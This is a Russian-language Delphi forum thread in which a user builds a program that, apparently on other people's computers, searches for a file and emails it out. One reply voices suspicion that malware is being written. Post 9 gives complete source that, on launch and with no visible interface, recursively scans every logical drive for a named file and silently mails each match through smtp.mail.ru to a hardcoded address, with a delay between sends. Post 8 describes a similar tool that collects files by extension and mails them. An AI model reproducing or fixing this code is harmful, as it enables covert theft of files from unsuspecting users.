![]() |
|
|
|||||||
| Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
![]() |
|
|
Опции темы | Поиск в этой теме | Опции просмотра |
|
#1
|
|||
|
|||
|
Я написал код для отправки сообщений на почту
Код:
idSmtp1.Host:='smtp.mail.ru'; idSmtp1.Port:=25 ; idSmtp1.Username:='lol1' ; idSmtp1.Password:='Пароль' ; idMessage1.Body.Text:='Что хотим то и пишем' ; // здесь текст письма.. idMessage1.From.Text:='lol1@mail.ru'; idMessage1.Recipients.EMailAddresses:='lol2@mail.ru' ; idMessage1.Subject:='Team' ; idSmtp1.Connect(); if idSmtp1.Connected=true then; idSmtp1.Send(idmessage1); idSmtp1.Disconnect |
|
#2
|
|||
|
|||
|
См. в сторону класса TIdAttachment
|
|
#3
|
|||
|
|||
|
Все я разобрался.
Только вот еще вопрос, как сделать чтоб он находил файл в компе сам? просто у другим может быть этот файл в другой директории.. |
|
#4
|
|||
|
|||
|
Ну, или перебирать все папки (если файл имеет некоторое достаточно уникальное имя или другие критерии его идентификации) с помощью FindFirst/FindNext/FindClose (примеры см в ФАКе на этом сайте), либо просто сделать настройку какой файл слать (например, просто в Ini-файле указать его полное имя - один раз на одном компе настроил и забыл).
|
|
#5
|
||||
|
||||
|
Цитата:
а что собственно Вы пытаетесь отправлять на почту? какие файлы/папки? есть странное подозрение на то, что пишится очередной "зловред"..!!! |
|
#6
|
|||
|
|||
|
Цитата:
Но в гугле накопал пару кодов Код:
FindFirst('c:\*.*', faAnyFile, SearchRec); Чтоб можно вставить его в тело письма? |
|
#7
|
|||
|
|||
|
FindFirst/FindNext/FindClose осуществляют поиск файла. Т.е. с их помощью ты сможешь определить полное имя нужного файла. А запихивать его в письмо надо руками через TIdAttachment.
|
|
#8
|
||||
|
||||
|
прога ищет в указанном каталоге файлы с определенным расширением, и отправляет их на почту... вот накидал за 5 минут.... глянь
данный исходник, позволяет отправить файлы найденные не только в указанной папке, но и в подкаталогах той папки, пример: каталог c:\windows, ищем к примеру все текстовые файлы, *.txt, прога про сканирует весь каталог windows, и найденные текстовые файлы присоединит к письму...!!!! Последний раз редактировалось RusMaXXX, 04.05.2010 в 17:23. |
|
#9
|
|||
|
|||
|
Мне вот тоже накидали, он работает но при запуска Ошибка типо не найдет диск.
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdMessage, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdMessageClient, IdSMTP, StdCtrls;
type
TForm1 = class(TForm)
IdSMTP1: TIdSMTP;
IdMessage1: TIdMessage;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure S_mail(Atta:string);
begin
Form1.IdSMTP1.Host:='smtp.mail.ru';
Form1.idSmtp1.Port:=25;
Form1.idSmtp1.Username:='+++++' ;
Form1.idSmtp1.Password:='+++++' ;
Form1.IdMessage1.Body.Text:='Ну вот вроде получилось';
Form1.idMessage1.From.Text:='+++++@mail.ru'; // Почтовый от адрес, от кого
Form1.idMessage1.Recipients.EMailAddresses:='hugolom@mail.ru' ; // и кому отправляем
Form1.idMessage1.Subject:='test' ; // Тема письма
TIdAttachment.Create(Form1.idMessage1.MessageParts,Atta);
Form1.idSmtp1.Connect();
if Form1.IdSMTP1.Connected then
Form1.idSmtp1.Send(Form1.IdMessage1);
Form1.idSmtp1.Disconnect;
end;
procedure FindFiles(StartFolder: string);
var
SearchRec: TSearchRec;
FindResult: Integer;
begin
try
StartFolder := IncludeTrailingBackslash(StartFolder);
FindResult := FindFirst(StartFolder + '*.*', faAnyFile, SearchRec);
try
while FindResult = 0 do
with SearchRec do
begin
if (Attr and faDirectory) <> 0 then
begin
if (Name <> '.') and (Name <> '..') then
FindFiles(StartFolder + Name);
end
else
if Name='ТУТ_НУЖНЫЙ_НАМ_ФАЙЛ' then
begin// если нашли то что искали то тогда
S_mail(StartFolder + Name);
sleep(360000); // задержка желательно
end;
FindResult := FindNext(SearchRec);
end;
finally
FindClose(SearchRec);
end;
finally
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
i, j: integer;
buf: array [0..499] of char;
DrvStr: array [0..9] of char;
LogDrives: set of 0..25;
begin
integer(LogDrives) := GetLogicalDrives;
for i := 0 to 25 do
if (i in LogDrives) then
FindFiles(chr(i + 65)+':\');
end;
end. |
|
#10
|
|||
|
|||
|
hugolom ,Ну так и в чем здесь ошибка?
|